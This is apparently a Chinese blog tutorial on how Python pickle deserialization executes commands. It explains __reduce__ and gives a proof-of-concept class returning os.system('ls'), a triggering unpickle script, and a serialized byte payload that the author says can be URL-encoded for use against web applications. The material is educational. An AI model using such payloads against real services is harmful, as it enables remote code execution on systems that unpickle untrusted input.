Python Pickle命令执行漏洞原理 2019-06-04 #Python #Pickle
简介
Python的序列化/反序列化模块有两个,一个是Pickle、一个是cPickle,pickle
实现了对一个 Python 对象结构的二进制序列化和反序列化。 “Pickling” 是将 Python 对象和所拥有的层次结构被转化为一个字节流的过程,而 “unpickling” 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构。Pickling(和 unpickling)也被称为“序列化”, “编组” 或者 “平面化”。而为了避免混乱,此处采用术语 “pickling” 和 “unpickling”。
Python官方文档上也说明了:pickle
模块在接受被错误地构造或者被恶意地构造的数据时不安全。永远不要 unpickle 来自于不受信任的或者未经验证的来源的数据。
Pickle模块
Pickle模块有4个主要的方法,分别是:load
、loads
、dump
、dumps
。
具体用法及传参请自行查看手册,以下简单介绍:
load
从文件中读取已序列化的数据并返回重建的对象结构。
loads
从字节对象中读取已序列化的数据并返回重建的数据结构。
dump
序列化对象并写入到文件中。
dumps
序列化对象并返回字节对象。
介绍完4 个方法,不得不提一下__reduce__
魔术方法。
__reduce__
当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__
被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);
也就是说,如果我们重写__reduce__
并让他返回2 个元素,第一个元素为可调用的对象,比如os.system
,第二个元素会被os.system
当做参数调用。
构造基础Payload
根据上述的理论,我们可以写出来这样的代码pickle_poc.py
:
import pickle
import os
class Poc:
def __reduce__(self):
cmd = "ls"
return os.system, (cmd,)
poc = Poc()
pickle.dump(poc, open('poc.txt', 'wb'))
我们建立了一个Poc
类,重写了它的__reduce__
方法,返回了两个元素,第一个元素是os.system
,第二个元素是个tuple
,在反序列化的时候,ls
命令应该会被执行。
我们使用pickle.dump
方法将序列化后的字节写入了文件。
下面我们来写一个反序列化的脚本,来触发漏洞unpickle.py
:
import os
import pickle
pickle.load(open('poc.txt', 'br'))
首先执行pickle_poc.py
生成POC,会发现当前目录下出现poc.txt
:
然后我们执行unpickle.py
对该poc.txt
进行反序列化:
然后就会发现命令被执行了。
但是目前的payload是二进制格式的,不太方便在实战中去利用,所以可以使用dumps
方法来导出易于利用的payload,比如:
import pickle
import os
class Poc:
def __reduce__(self):
cmd = "ls"
return os.system, (cmd,)
poc = Poc()
print(pickle.dumps(poc))
使用dumps
生成出来的payload是这样的:
b’\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.’
这样的payload就可以进行urlencode
编码以后在web中进行发送了。
后话
本来想找个demo来演示的,但实在是找不到,也懒得写demo了。
本文主要还是理解一下pickle模块执行命令的原理,如果有理解错误的地方欢迎交流。